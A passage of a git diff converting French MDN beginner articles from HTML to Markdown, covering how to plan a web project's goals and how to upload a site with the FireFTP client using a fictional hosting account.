PHP côté serveur, vous aurez besoin d'une configuration serveur qui peut interpréter PHP. De bonnes options pour tester PHP localement sont [MAMP](https://www.mamp.info/en/downloads/) (Mac and Windows) , [AMPPS](http://ampps.com/download) (Mac, Windows, Linux) and [LAMP](https://www.linux.com/learn/easy-lamp-server-installation) (Linux, Apache, MySQL, et PHP/Python/Perl). Ce sont des paquets complets qui créent des configurations locales vous permettant d'exécuter un serveur Apache, PHP et des bases de données MySQL. diff --git a/files/fr/learn/common_questions/thinking_before_coding/index.md b/files/fr/learn/common_questions/thinking_before_coding/index.md index 7756cfd9c5..d9c06b0336 100644 --- a/files/fr/learn/common_questions/thinking_before_coding/index.md +++ b/files/fr/learn/common_questions/thinking_before_coding/index.md @@ -8,174 +8,188 @@ tags: translation_of: Learn/Common_questions/Thinking_before_coding original_slug: Apprendre/Commencez_votre_projet_web --- -<div>{{IncludeSubnav("/fr/Apprendre")}}</div> +{{IncludeSubnav("/fr/Apprendre")}} -<p>Cette article présente l'étape primordiale de n'importe quel projet définir ce qu'on souhaite accomplir avec.</p> +Cette article présente l'étape primordiale de n'importe quel projet définir ce qu'on souhaite accomplir avec. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis </th> - <td>Aucun</td> - </tr> - <tr> - <th scope="row">Objectif </th> - <td>Apprendre à définir les objectifs pour donner une direction à votre projet.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis </th> + <td>Aucun</td> + </tr> + <tr> + <th scope="row">Objectif </th> + <td> + Apprendre à définir les objectifs pour donner une direction à votre + projet. + </td> + </tr> + </tbody> </table> -<h2 id="Pour_commencer">Pour commencer</h2> +## Pour commencer -<p>Lors du démarrage d'un projet web, beaucoup de gens se concentrent sur l'aspect technique. Bien sûr, vous devez être familier avec la technique, mais ce qui importe vraiment est <em>ce que vous</em><em> voulez accomplir</em>. Oui, cela semble évident, mais de trop nombreux projets échouent, pas à cause d'un manque de savoir-faire technique, mais à cause d'un manque d'objectifs et de vision.</p> +Lors du démarrage d'un projet web, beaucoup de gens se concentrent sur l'aspect technique. Bien sûr, vous devez être familier avec la technique, mais ce qui importe vraiment est _ce que vous_ _voulez accomplir_. Oui, cela semble évident, mais de trop nombreux projets échouent, pas à cause d'un manque de savoir-faire technique, mais à cause d'un manque d'objectifs et de vision. -<p>Alors, quand vous aurez une idée et que vous voudrez la concrétiser en un site web, il y a quelques questions auxquelles vous devrez répondre avant toute autre chose </p> +Alors, quand vous aurez une idée et que vous voudrez la concrétiser en un site web, il y a quelques questions auxquelles vous devrez répondre avant toute autre chose -<ul> - <li>Qu'est-ce que je veux accomplir exactement ?</li> - <li>Comment un site web aiderait à atteindre mes objectifs ?</li> - <li>Qu'est-ce qui doit être fait, et dans quel ordre, pour atteindre mes objectifs ?</li> -</ul> +- Qu'est-ce que je veux accomplir exactement ? +- Comment un site web aiderait à atteindre mes objectifs ? +- Qu'est-ce qui doit être fait, et dans quel ordre, pour atteindre mes objectifs ? -<p>Se poser ces questions et y répondre constituent la <em>conceptualisation</em> du projet. C'est une première étape nécessaire pour atteindre votre objectif, que vous soyez un débutant ou un développeur expérimenté.</p> +Se poser ces questions et y répondre constituent la _conceptualisation_ du projet. C'est une première étape nécessaire pour atteindre votre objectif, que vous soyez un débutant ou un développeur expérimenté. -<h2 id="Pédagogie_active">Pédagogie active</h2> +## Pédagogie active -<p><em>Il n'y a pas la pédagogie active disponible pour l'instant. <a href="/fr/docs/MDN/Getting_started">S'il-vous-plaît, pensez à contribuer pour enrichir ce contenu !</a></em></p> +_Il n'y a pas la pédagogie active disponible pour l'instant. [S'il-vous-plaît, pensez à contribuer pour enrichir ce contenu !](/fr/docs/MDN/Getting_started)_ -<h2 id="Aller_plus_loin">Aller plus loin</h2> +## Aller plus loin -<p>Un projet ne commence jamais par le côté technique. Les musiciens ne joueront jamais un morceau sans avoir d'abord une idée de ce qu'ils veulent jouer, cela s'applique également pour les peintres, les écrivains et les développeurs web. La technique vient après.<br> - <br> - La technique est évidemment essentielle. Les musiciens doivent maîtriser leur instrument. Mais de bons musiciens ne peuvent jamais produire de la bonne musique sans avoir eu une idée. Par conséquent, avant de sauter dans la technique (le code et les outils), prenez d'abord un peu de recul et décidez en détails de ce que vous voulez faire.<br> - <br> - Une discussion d'une heure avec des amis est un bon début, mais ce sera insuffisant. Vous devez vous asseoir et structurer vos idées pour avoir une vision claire du chemin que vous devrez parcourir afin de concrétiser vos idées. Pour ce faire, il vous suffit d'un stylo, de quelques feuilles de papier et d'un peu de temps pour répondre au moins aux questions suivantes.</p> +Un projet ne commence jamais par le côté technique. Les musiciens ne joueront jamais un morceau sans avoir d'abord une idée de ce qu'ils veulent jouer, cela s'applique également pour les peintres, les écrivains et les développeurs web. La technique vient après. -<div class="note"> -<p><strong>Note :</strong> Il existe d'innombrables moyens pour mener à bien des idées de projet. Nous ne pouvons pas tous les mentionner ici (un livre entier ne suffirait pas). Ce que nous allons présenter ici est une méthode simple pour gérer ce que les professionnels appellent <a href="https://fr.wikipedia.org/wiki/Id%C3%A9ation">l'idéation</a>, <a href="https://fr.wikipedia.org/wiki/Planification">la planification</a> et <a href="https://fr.wikipedia.org/wiki/Gestion_de_projet">la gestion de projet</a>.</p> -</div> +La technique est évidemment essentielle. Les musiciens doivent maîtriser leur instrument. Mais de bons musiciens ne peuvent jamais produire de la bonne musique sans avoir eu une idée. Par conséquent, avant de sauter dans la technique (le code et les outils), prenez d'abord un peu de recul et décidez en détails de ce que vous voulez faire. -<h3 id="Qu'est-ce_que_je_veux_accomplir_exactement">Qu'est-ce que je veux accomplir exactement ?</h3> +Une discussion d'une heure avec des amis est un bon début, mais ce sera insuffisant. Vous devez vous asseoir et structurer vos idées pour avoir une vision claire du chemin que vous devrez parcourir afin de concrétiser vos idées. Pour ce faire, il vous suffit d'un stylo, de quelques feuilles de papier et d'un peu de temps pour répondre au moins aux questions suivantes. -<p>C'est la question la plus importante à laquelle vous devez répondre, car il en découle tout le reste. Énumérez tous les objectifs que vous souhaitez atteindre. Ce peut être n'importe quoi vendre des biens pour faire de l'argent, exprimer des opinions politiques, rencontrer de nouveaux amis, donner des concerts avec des musiciens, collectionner des images de chat ou autre chose encore.</p> +> **Note :** Il existe d'innombrables moyens pour mener à bien des idées de projet. Nous ne pouvons pas tous les mentionner ici (un livre entier ne suffirait pas). Ce que nous allons présenter ici est une méthode simple pour gérer ce que les professionnels appellent [l'idéation](https://fr.wikipedia.org/wiki/Id%C3%A9ation), [la planification](https://fr.wikipedia.org/wiki/Planification) et [la gestion de projet](https://fr.wikipedia.org/wiki/Gestion_de_projet). -<p>Supposons que vous êtes un musicien. Vous pourriez souhaiter </p> +### Qu'est-ce que je veux accomplir exactement ? -<ul> - <li>Permettre aux gens d'écouter votre musique.</li> - <li>Vendre des goodies.</li> - <li>Rencontrer d'autres musiciens.</li> - <li>Parler de votre musique.</li> - <li>Enseigner la musique à travers des vidéos.</li> - <li>Publier des photos de vos chats.</li> -</ul> +C'est la question la plus importante à laquelle vous devez répondre, car il en découle tout le reste. Énumérez tous les objectifs que vous souhaitez atteindre. Ce peut être n'importe quoi vendre des biens pour faire de l'argent, exprimer des opinions politiques, rencontrer de nouveaux amis, donner des concerts avec des musiciens, collectionner des images de chat ou autre chose encore. -<p>Une fois que vous avez obtenu une telle liste, vous avez besoin d'établir des priorités. Ordonnez les objectifs du plus important au moins important </p> +Supposons que vous êtes un musicien. Vous pourriez souhaiter -<ol> - <li>Permettre aux gens d'écouter votre musique</li> - <li>Parler de votre musique.</li> - <li>Rencontrer d'autres musiciens.</li> - <li>Vendre des goodies.</li> - <li>Enseigner la musique à travers des vidéos.</li> - <li>Publier des photos de vos chats.</li> -</ol> +- Permettre aux gens d'écouter votre musique. +- Vendre des goodies. +- Rencontrer d'autres musiciens. +- Parler de votre musique. +- Enseigner la musique à travers des vidéos. +- Publier des photos de vos chats. -<p>Faire cet exercice simple, écrire les objectifs et les trier, va vous aider quand vous aurez des décisions à prendre (dois-je implémenter ces fonctionnalités ? faut-il que j'utilise ces services ? est-il nécessaire de créer ces designs ?).</p> +Une fois que vous avez obtenu une telle liste, vous avez besoin d'établir des priorités. Ordonnez les objectifs du plus important au moins important -<p>Bien. Maintenant que vous avez votre liste de priorités pour ces objectifs, nous allons passer à la question suivante.</p> +1. Permettre aux gens d'écouter votre musique +2. Parler de votre musique. +3. Rencontrer d'autres musiciens. +4. Vendre des goodies. +5. Enseigner la musique à travers des vidéos. +6. Publier des photos de vos chats. -<h3 id="Comment_un_site_web_pourrait-il_répondre_à_mes_objectifs">Comment un site web pourrait-il répondre à mes objectifs ?</h3> +Faire cet exercice simple, écrire les objectifs et les trier, va vous aider quand vous aurez des décisions à prendre (dois-je implémenter ces fonctionnalités ? faut-il que j'utilise ces services ? est-il nécessaire de créer ces designs ?). -<p>Vous avez votre liste d'objectifs et vous sentez que vous avez besoin d'un site web pour atteindre ces objectifs. En êtes-vous sûr ?</p> +Bien. Maintenant que vous avez votre liste de priorités pour ces objectifs, nous allons passer à la question suivante. -<p>Jetons un regard rétrospectif sur notre exemple. Nous avons cinq objectifs liés à la musique et un lié aux photos de chat, complètement indépendant. Est-ce raisonnable de construire un site web unique pour couvrir l'ensemble de ces objectifs ? Est-ce même nécessaire ? Après tout, des dizaines de services web existants pourraient sastisfaire à vos objectifs sans avoir à construire un nouveau site web.</p> +### Comment un site web pourrait-il répondre à mes objectifs ? -<p>Encore une fois, il y a tellement de services web déjà disponibles pour mettre en valeur les photos qu'il ne sert à rien de s'épuiser à construire un nouveau site juste pour montrer à quel point nos chats sont mignons.</p> +Vous avez votre liste d'objectifs et vous sentez que vous avez besoin d'un site web pour atteindre ces objectifs. En êtes-vous sûr ? -<p>Les cinq autres objectifs sont tous reliés à la musique. Il y a, bien sûr, de nombreux services web qui pourrait traiter ces objectifs, mais il est logique dans ce cas de construire son propre site web dédié. Un tel site est le meilleur moyen de <em>regrouper</em> toutes les choses que nous voulons publier au même endroit (les objectifs 3, 5 et 6) et de promouvoir l'<em>interaction</em> entre nous et le public (les objectifs 2 et 4). En bref, puisque tous ces objectifs tournent autour du même sujet, avoir tout au même endroit nous aidera à atteindre nos objectifs et permettra au public de mieux interagir avec nous.</p> +Jetons un regard rétrospectif sur notre exemple. Nous avons cinq objectifs liés à la musique et un lié aux photos de chat, complètement indépendant. Est-ce raisonnable de construire un site web unique pour couvrir l'ensemble de ces objectifs ? Est-ce même nécessaire ? Après tout, des dizaines de services web existants pourraient sastisfaire à vos objectifs sans avoir à construire un nouveau site web. -<p>Comment un site web peut-il m'aider à atteindre mes objectifs ? En répondant à cela, vous trouverez la meilleure façon d'atteindre vos objectifs et cela vous évitera des efforts inutiles.</p> +Encore une fois, il y a tellement de services web déjà disponibles pour mettre en valeur les photos qu'il ne sert à rien de s'épuiser à construire un nouveau site juste pour montrer à quel point nos chats sont mignons. -<h3 id="Qu'est-ce_qui_doit_être_fait_et_dans_quel_ordre_pour_atteindre_mes_objectifs">Qu'est-ce qui doit être fait, et dans quel ordre, pour atteindre mes objectifs ?</h3> +Les cinq autres objectifs sont tous reliés à la musique. Il y a, bien sûr, de nombreux services web qui pourrait traiter ces objectifs, mais il est logique dans ce cas de construire son propre site web dédié. Un tel site est le meilleur moyen de _regrouper_ toutes les choses que nous voulons publier au même endroit (les objectifs 3, 5 et 6) et de promouvoir l'_interaction_ entre nous et le public (les objectifs 2 et 4). En bref, puisque tous ces objectifs tournent autour du même sujet, avoir tout au même endroit nous aidera à atteindre nos objectifs et permettra au public de mieux interagir avec nous. -<p>Maintenant que vous savez ce que vous voulez accomplir, il est temps de transformer ces objectifs en mesures concrètes. Note vos objectifs ne sont pas nécessairement gravés dans la pierre. Ils évoluent au fil du temps, même dans le cadre du projet, si vous rencontrez des obstacles inattendus ou tout simplement si vous changez d'avis.</p> +Comment un site web peut-il m'aider à atteindre mes objectifs ? En répondant à cela, vous trouverez la meilleure façon d'atteindre vos objectifs et cela vous évitera des efforts inutiles. -<p>Plutôt qu'une longue explication, revenons à notre exemple avec ce tableau </p> +### Qu'est-ce qui doit être fait, et dans quel ordre, pour atteindre mes objectifs ? + +Maintenant que vous savez ce que vous voulez accomplir, il est temps de transformer ces objectifs en mesures concrètes. Note vos objectifs ne sont pas nécessairement gravés dans la pierre. Ils évoluent au fil du temps, même dans le cadre du projet, si vous rencontrez des obstacles inattendus ou tout simplement si vous changez d'avis. + +Plutôt qu'une longue explication, revenons à notre exemple avec ce tableau <table class="standard-table"> - <thead> - <tr> - <th scope="col">Objectifs</th> - <th scope="col">Choses à faire</th> - </tr> - </thead> - <tbody> - <tr> - <td>Permettre aux gens d'écouter votre musique</td> - <td> - <ol> - <li>Enregistrer de la musique</li> - <li>Préparez quelques fichiers audio écoutables en ligne (Pourriez-vous faire cela avec les services web existants ?)</li> - <li>Donner aux gens l'accès à votre musique sur une partie de votre site web</li> - </ol> - </td> - </tr> - <tr> - <td>Parler de votre musique</td> - <td> - <ol> - <li>Écrire quelques articles pour lancer la discussion</li> - <li>Définir l'apparence et le format des articles</li> - <li>Publier ces articles sur le site web (Comment faire cela ?)</li> - </ol> - </td> - </tr> - <tr> - <td>Rencontrer d'autres musiciens</td> - <td> - <ol> - <li>Permettre aux gens de vous contacter (e-mail ? Twitter ? Facebook ? Téléphone ? Adresse ?)</li> - <li>Définir comment les gens vont trouver ces moyens de contact à partir de votre site</li> - </ol> - </td> - </tr> - <tr> - <td>Vendre des goodies</td> - <td> - <ol> - <li>Créer les goodies</li> - <li>Stocker les goodies</li> - <li>Trouver un moyen de gérer l'expédition</li> - <li>Trouver un moyen de gérer le paiement</li> - <li>Faire un système sur votre site pour que les gens passe des commandes</li> - </ol> - </td> - </tr> - <tr> - <td>Enseigner la musique à travers des vidéos</td> - <td> - <ol> - <li>Enregistrer vos leçons vidéos</li> - <li>Préparer les fichiers vidéos consultables en ligne (encore une fois, pourriez-vous le faire avec les services web existants ?)</li> - <li>Donner aux gens l'accès à vos vidéos sur une partie de votre site web</li> - </ol> - </td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Objectifs</th> + <th scope="col">Choses à faire</th> + </tr> + </thead> + <tbody> + <tr> + <td>Permettre aux gens d'écouter votre musique</td> + <td> + <ol> + <li>Enregistrer de la musique</li> + <li> + Préparez quelques fichiers audio écoutables en ligne (Pourriez-vous + faire cela avec les services web existants ?) + </li> + <li> + Donner aux gens l'accès à votre musique sur une partie de votre site + web + </li> + </ol> + </td> + </tr> + <tr> + <td>Parler de votre musique</td> + <td> + <ol> + <li>Écrire quelques articles pour lancer la discussion</li> + <li>Définir l'apparence et le format des articles</li> + <li>Publier ces articles sur le site web (Comment faire cela ?)</li> + </ol> + </td> + </tr> + <tr> + <td>Rencontrer d'autres musiciens</td> + <td> + <ol> + <li> + Permettre aux gens de vous contacter (e-mail ? Twitter ? Facebook ? + Téléphone ? Adresse ?) + </li> + <li> + Définir comment les gens vont trouver ces moyens de contact à partir + de votre site + </li> + </ol> + </td> + </tr> + <tr> + <td>Vendre des goodies</td> + <td> + <ol> + <li>Créer les goodies</li> + <li>Stocker les goodies</li> + <li>Trouver un moyen de gérer l'expédition</li> + <li>Trouver un moyen de gérer le paiement</li> + <li> + Faire un système sur votre site pour que les gens passe des + commandes + </li> + </ol> + </td> + </tr> + <tr> + <td>Enseigner la musique à travers des vidéos</td> + <td> + <ol> + <li>Enregistrer vos leçons vidéos</li> + <li> + Préparer les fichiers vidéos consultables en ligne (encore une fois, + pourriez-vous le faire avec les services web existants ?) + </li> + <li> + Donner aux gens l'accès à vos vidéos sur une partie de votre site + web + </li> + </ol> + </td> + </tr> + </tbody> </table> -<p>Deux choses à noter. Tout d'abord, certains de ces éléments ne sont pas liés à l'internet (par exemple, enregistrer de la musique, écrire des articles). Souvent, ces activités hors-lignes importent encore plus que le côté web du projet. Dans la vente, par exemple, il est beaucoup plus important et cela prend plus de temps que de gérer l'approvisionnement, le paiement et l'expédition plutôt que de construire un site web où les gens peuvent passer des commandes.</p> +Deux choses à noter. Tout d'abord, certains de ces éléments ne sont pas liés à l'internet (par exemple, enregistrer de la musique, écrire des articles). Souvent, ces activités hors-lignes importent encore plus que le côté web du projet. Dans la vente, par exemple, il est beaucoup plus important et cela prend plus de temps que de gérer l'approvisionnement, le paiement et l'expédition plutôt que de construire un site web où les gens peuvent passer des commandes. -<p>Deuxièmement, lorsque vous listerez ces mesures réalisables, vous vous poserez sans doute de nouvelles questions auxquelles répondre. C'est normal, on arrive souvent à se poser plus de questions qu'au début (par exemple, dois-je apprendre à faire tout cela moi-même ? demander à quelqu'un de le faire pour moi ? utiliser les services de tiers ?).</p> +Deuxièmement, lorsque vous listerez ces mesures réalisables, vous vous poserez sans doute de nouvelles questions auxquelles répondre. C'est normal, on arrive souvent à se poser plus de questions qu'au début (par exemple, dois-je apprendre à faire tout cela moi-même ? demander à quelqu'un de le faire pour moi ? utiliser les services de tiers ?). -<h3 id="Conclusion">Conclusion</h3> +### Conclusion -<p>Comme vous pouvez le voir, l'idée simple: « Je veux faire un site » génère une longue liste de choses à faire, qui grandit à mesure que vous y pensez. Elle peut vite sembler écrasante, mais ne paniquez pas. Vous ne devez pas répondre à toutes les questions et vous ne devez pas tout faire sur votre liste. Ce qui importe est d'avoir une vision de ce que vous voulez et comment y arriver. Une fois que vous avez une vision claire, vous devez décider comment et quand le faire. Décomposer les grandes tâches en petites étapes réalisables. Et ces petites étapes vont s'assembler entre elles jusqu'à former de grandes réalisations.</p> +Comme vous pouvez le voir, l'idée simple: « Je veux faire un site » génère une longue liste de choses à faire, qui grandit à mesure que vous y pensez. Elle peut vite sembler écrasante, mais ne paniquez pas. Vous ne devez pas répondre à toutes les questions et vous ne devez pas tout faire sur votre liste. Ce qui importe est d'avoir une vision de ce que vous voulez et comment y arriver. Une fois que vous avez une vision claire, vous devez décider comment et quand le faire. Décomposer les grandes tâches en petites étapes réalisables. Et ces petites étapes vont s'assembler entre elles jusqu'à former de grandes réalisations. -<h2 id="Prochaines_étapes">Prochaines étapes</h2> +## Prochaines étapes -<ul> - <li>Commencer à apprendre la technique <a href="/fr/Apprendre/Fonctionnement_Internet">Comment fonctionne l'Internet ?</a></li> - <li>Approfondir le design et la conception <a href="/fr/Apprendre/Concevoir_page_web">Conception d'une page web</a></li> -</ul> +- Commencer à apprendre la technique [Comment fonctionne l'Internet ?](/fr/Apprendre/Fonctionnement_Internet) +- Approfondir le design et la conception [Conception d'une page web](/fr/Apprendre/Concevoir_page_web) diff --git a/files/fr/learn/common_questions/upload_files_to_a_web_server/index.md b/files/fr/learn/common_questions/upload_files_to_a_web_server/index.md index 56f5dbdfa3..7684d4f048 100644 --- a/files/fr/learn/common_questions/upload_files_to_a_web_server/index.md +++ b/files/fr/learn/common_questions/upload_files_to_a_web_server/index.md @@ -8,126 +8,130 @@ tags: translation_of: Learn/Common_questions/Upload_files_to_a_web_server original_slug: Apprendre/Transférer_des_fichiers_vers_un_serveur_web --- -<p>Cet article illustre comment publier votre site en ligne grâce à des outils {{Glossary("FTP")}}. </p> +Cet article illustre comment publier votre site en ligne grâce à des outils {{Glossary("FTP")}}. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vous devriez au préalable comprendre <a href="/fr/Apprendre/Qu_est-ce_qu_un_serveur_web">ce qu'est un serveur web</a> et <a href="/fr/Apprendre/Comprendre_noms_de_domaine">comment fonctionnent les noms de domaines</a>. Vous devriez également savoir <a href="/fr/Apprendre/Set_up_a_basic_working_environment">mettre en place un environnement simple de développement web</a> et savoir comment <a href="/fr/Apprendre/HTML/Write_a_simple_page_in_HTML">écrire une page web simple</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Apprendre à envoyer des fichiers vers un serveur en utilisant FTP.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vous devriez au préalable comprendre + <a href="/fr/Apprendre/Qu_est-ce_qu_un_serveur_web" + >ce qu'est un serveur web</a + > + et + <a href="/fr/Apprendre/Comprendre_noms_de_domaine" + >comment fonctionnent les noms de domaines</a + >. Vous devriez également savoir + <a href="/fr/Apprendre/Set_up_a_basic_working_environment" + >mettre en place un environnement simple de développement web</a + > + et savoir comment + <a href="/fr/Apprendre/HTML/Write_a_simple_page_in_HTML" + >écrire une page web simple</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Apprendre à envoyer des fichiers vers un serveur en utilisant FTP. + </td> + </tr> + </tbody> </table> -<p>Maintenant que vous avez <a href="/fr/Learn/HTML/Write_a_simple_page_in_HTML">construit une page web</a>, vous voulez peut être la mettre en ligne grâce à un serveur web. Dans cet article, nous verrons comment faire en utilisant {{Glossary("FTP")}}.</p> +Maintenant que vous avez [construit une page web](/fr/Learn/HTML/Write_a_simple_page_in_HTML), vous voulez peut être la mettre en ligne grâce à un serveur web. Dans cet article, nous verrons comment faire en utilisant {{Glossary("FTP")}}. -<h2 id="Pédagogie_active">Pédagogie active</h2> +## Pédagogie active -<p><em>Il n'y a, pour le moment, pas d'élément de pédagogie active pour cette section. <a href="/fr/docs/MDN/D%C3%A9buter_sur_MDN">Vous pouvez néanmoins contribuer</a>.</em></p> +_Il n'y a, pour le moment, pas d'élément de pédagogie active pour cette section. [Vous pouvez néanmoins contribuer](/fr/docs/MDN/D%C3%A9buter_sur_MDN)._ -<h2 id="Aller_plus_loin">Aller plus loin</h2> +## Aller plus loin -<h3 id="Mettre_les_mains_sur_un_client_FTP_FireFTP">Mettre les mains sur un client FTP : FireFTP</h3> +### Mettre les mains sur un client FTP : FireFTP -<p>Il existe de nombreux clients FTP. Dans cette démonstration, nous utiliserons FireFTP. Celui-ci est simple à installer avec Firefox car <a href="https://addons.mozilla.org/firefox/addon/fireftp/">c'est un module complémentaire</a>.</p> +Il existe de nombreux clients FTP. Dans cette démonstration, nous utiliserons FireFTP. Celui-ci est simple à installer avec Firefox car [c'est un module complémentaire](https://addons.mozilla.org/firefox/addon/fireftp/). -<div class="note"> -<p><strong>Note :</strong> Il existe de nombreuses autres options, voir <a href="/fr/Apprendre/How_much_does_it_cost#Publishing_tools.3A_FTP_client">les outils de publications : les clients FTP</a> pour plus d'informations.</p> -</div> +> **Note :** Il existe de nombreuses autres options, voir [les outils de publications : les clients FTP](/fr/Apprendre/How_much_does_it_cost#Publishing_tools.3A_FTP_client) pour plus d'informations. -<p>Pour ouvrir FireFTP dans un nouvel onglet de Firefox, il existe deux méthodes :</p> +Pour ouvrir FireFTP dans un nouvel onglet de Firefox, il existe deux méthodes : -<ol> - <li><strong>Menu de Firefox <img alt="" src="2014-01-10-13-08-08-f52b8c.png"> ➤ <img alt="Developer" src="Screenshot%20from%202014-11-26%2014:24:56.png"> ➤ FireFTP</strong></li> - <li><strong>Outils </strong>➤ <strong>Développement web</strong> ➤ <strong>FireFTP</strong></li> -</ol> +1. **Menu de Firefox  ➤  ➤ FireFTP** +2. **Outils** ➤ **Développement web** ➤ **FireFTP** -<p>Vous devriez voir apparaître cette fenêtre :</p> +Vous devriez voir apparaître cette fenêtre : -<p><img alt="FireFTP : the interface, not connected to a server" src="fireftp-default.png"></p> + -<h3 id="Se_connecter">Se connecter</h3> +### Se connecter -<p>Dans cet exemple, nous prendrons un hébergeur (la société qui hébergera notre serveur web) qui s'appellera « Hébergeur Exemple » dont les URL ressembleront à : <code>monsiteperso.hebergeurexemple.net</code>.</p> +Dans cet exemple, nous prendrons un hébergeur (la société qui hébergera notre serveur web) qui s'appellera « Hébergeur Exemple » dont les URL ressembleront à : `monsiteperso.hebergeurexemple.net`. -<p>Vous avez donc souscrit à un compte chez cet hébergeur et avez reçu des informations de sa part :</p> +Vous avez donc souscrit à un compte chez cet hébergeur et avez reçu des informations de sa part : -<blockquote> -<p>Félicitations et merci d'avoir ouvert un compte chez Hébergeur exemple.</p> +> Félicitations et merci d'avoir ouvert un compte chez Hébergeur exemple. +> +> Votre compte est : `demozilla` +> +> Votre site sera accessible à cette adresse `demozilla.hebergeurexemple.net` +> +> Pour publier votre site avec votre compte, connectez-vous via FTP avec les informations d'authentification suivantes : +> +> - Serveur FTP : `ftp://demozilla.hebergeurexemple.net` +> - Utilisateur : `demozilla` +> - Mot de passe : `pandar0ux` +> - Pour publier des fichiers sur le Web, placez les dans le répertoire `Public/htdocs`. -<p>Votre compte est : <code>demozilla</code></p> +Tout d'abord, jetons un coup d'œil à `http://demozilla.hebergeurexemple.net/` — pour le moment, comme vous pouvez le voir, il n'y a pas grand chose : -<p>Votre site sera accessible à cette adresse <code>demozilla.hebergeurexemple.net</code></p> + -<p>Pour publier votre site avec votre compte, connectez-vous via FTP avec les informations d'authentification suivantes :</p> +> **Note :** Selon l'hébergeur que vous avez choisi, vous pourriez ici voir une page avec un texte ressemblant à « Ce site web est hébergé par \[Nom de l'hébergeur] ». -<ul> - <li>Serveur FTP : <code>ftp://demozilla.hebergeurexemple.net</code></li> - <li>Utilisateur : <code>demozilla</code></li> - <li>Mot de passe : <code>pandar0ux</code></li> - <li>Pour publier des fichiers sur le Web, placez les dans le répertoire <code>Public/htdocs</code>.</li> -</ul> -</blockquote> +Pour connecter votre client FTP au serveur distant, cliquez sur le bouton _« Créer un compte »_ de FireFTP, puis remplissez les informations telles qu'elles vous ont été fournies par votre hébergeur : -<p>Tout d'abord, jetons un coup d'œil à <code>http://demozilla.hebergeurexemple.net/</code> — pour le moment, comme vous pouvez le voir, il n'y a pas grand chose :</p> + -<p><img alt="Our demozilla personal website, seen in a browser: it's empty" src="demozilla-empty.png"></p> +### Ici et là-bas : la vue locale et la vue distante -<div class="note"> -<p><strong>Note :</strong> Selon l'hébergeur que vous avez choisi, vous pourriez ici voir une page avec un texte ressemblant à « Ce site web est hébergé par [Nom de l'hébergeur] ».</p> -</div> +Vous pouvez ensuite vous connecter sur ce nouveau compte : -<p>Pour connecter votre client FTP au serveur distant, cliquez sur le bouton <em>« Créer un compte »</em> de FireFTP, puis remplissez les informations telles qu'elles vous ont été fournies par votre hébergeur :</p> + -<p><img alt="FireFTP: creating an account" src="fireftp-createlogin.png"></p> +Examinons cet écran : -<h3 id="Ici_et_là-bas_la_vue_locale_et_la_vue_distante">Ici et là-bas : la vue locale et la vue distante</h3> +- Sur la gauche, vous voyez vos fichier locaux (ceux de votre ordinateur). Déplacez vous dans le répertoire où vous stockez votre site web (dans ce cas, `mdn`). +- Sur la droite, vous voyez les fichiers distants (ceux du serveur web). Vous êtes connecté-e à la racine du dossier FTP distint (dans ce cas, `users/demozilla`) +- Pour le moment, vous pouvez ignorer la zone en bas de l'écran, il s'agit en fait d'un journal contenant chaque interaction entre votre client FTP et le serveur. -<p>Vous pouvez ensuite vous connecter sur ce nouveau compte :</p> +### Transférer des fichiers vers le serveur -<p><img alt="The FTP interface, once logged" src="fireftp-logged.png"></p> +Comme nous l'avons vu plus tôt, notre hébergeur nous a indiqué que les fichiers devaient être stockés sous `Public/htdocs` pour être visible sur le Web. Déplaçons-nous donc dans ce dossier grâce au volet droit : -<p>Examinons cet écran :</p> + -<ul> - <li>Sur la gauche, vous voyez vos fichier locaux (ceux de votre ordinateur). Déplacez vous dans le répertoire où vous stockez votre site web (dans ce cas, <code>mdn</code>).</li> - <li>Sur la droite, vous voyez les fichiers distants (ceux du serveur web). Vous êtes connecté-e à la racine du dossier FTP distint (dans ce cas, <code>users/demozilla</code>)</li> - <li>Pour le moment, vous pouvez ignorer la zone en bas de l'écran, il s'agit en fait d'un journal contenant chaque interaction entre votre client FTP et le serveur.</li> -</ul> +Ensuite, pour transférer des fichiers de votre ordinateur vers ce dossier du serveur, il suffit de les glisser-déposer du volet gauche vers le volet droit : -<h3 id="Transférer_des_fichiers_vers_le_serveur">Transférer des fichiers vers le serveur</h3> + -<p>Comme nous l'avons vu plus tôt, notre hébergeur nous a indiqué que les fichiers devaient être stockés sous <code>Public/htdocs</code> pour être visible sur le Web. Déplaçons-nous donc dans ce dossier grâce au volet droit :</p> +### Est-ce que mes fichiers sont bien en ligne ? -<p><img alt="Changing to the htdocs folder on the remote server" src="remote-htdocs-empty.png"></p> +Jusqu'ici tout va bien, vérifions quand même en tapant `http://demozilla.hebergeurexemple.net/` dans la barre d'URL du navigateur : -<p>Ensuite, pour transférer des fichiers de votre ordinateur vers ce dossier du serveur, il suffit de les glisser-déposer du volet gauche vers le volet droit :</p> + -<p><img alt="The files show in the remote view: they have been pushed to the server" src="files-dropped-onto-the-server.png"></p> +Et _voilà_ ! Notre site est en ligne ! -<h3 id="Est-ce_que_mes_fichiers_sont_bien_en_ligne">Est-ce que mes fichiers sont bien en ligne ?</h3> +### D'autres méthodes pour transférer des fichiers -<p>Jusqu'ici tout va bien, vérifions quand même en tapant <code>http://demozilla.hebergeurexemple.net/</code> dans la barre d'URL du navigateur :</p> +Le protocole FTP est l'une des méthodes les plus répandues pour publier un site web. Cependant, il en existe d'autres, en voici quelques unes : -<p><img alt="Here we go: our website is live!" src="here-we-go.png"></p> +- **Les interfaces web**. Votre hébergeur peut mettre à disposition une interface web qui permet de transférer des fichiers. +- **GitHub** (méthode avancée). Il est possible de transférer des fichiers grâce à {{Glossary("git")}} en utilisant des combinaison de méthodes qui sont liées aux opérations de commit/push. Pour plus d'informations, voir l'article sur [comment publier son site web](/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web) qui fait partie du guide [Commencer avec le Web](/fr/Apprendre/Commencer_avec_le_web). +- **{{Glossary("Rsync")}}** (méthode avancée). Un système de synchronisation de fichiers entre un système local et un système distant. +- **{{Glossary("WebDAV")}}**. Une extension du protocle {{Glossary("HTTP")}} qui permet de gérer des fichiers de façon plus avancée. -<p>Et <em>voilà</em> ! Notre site est en 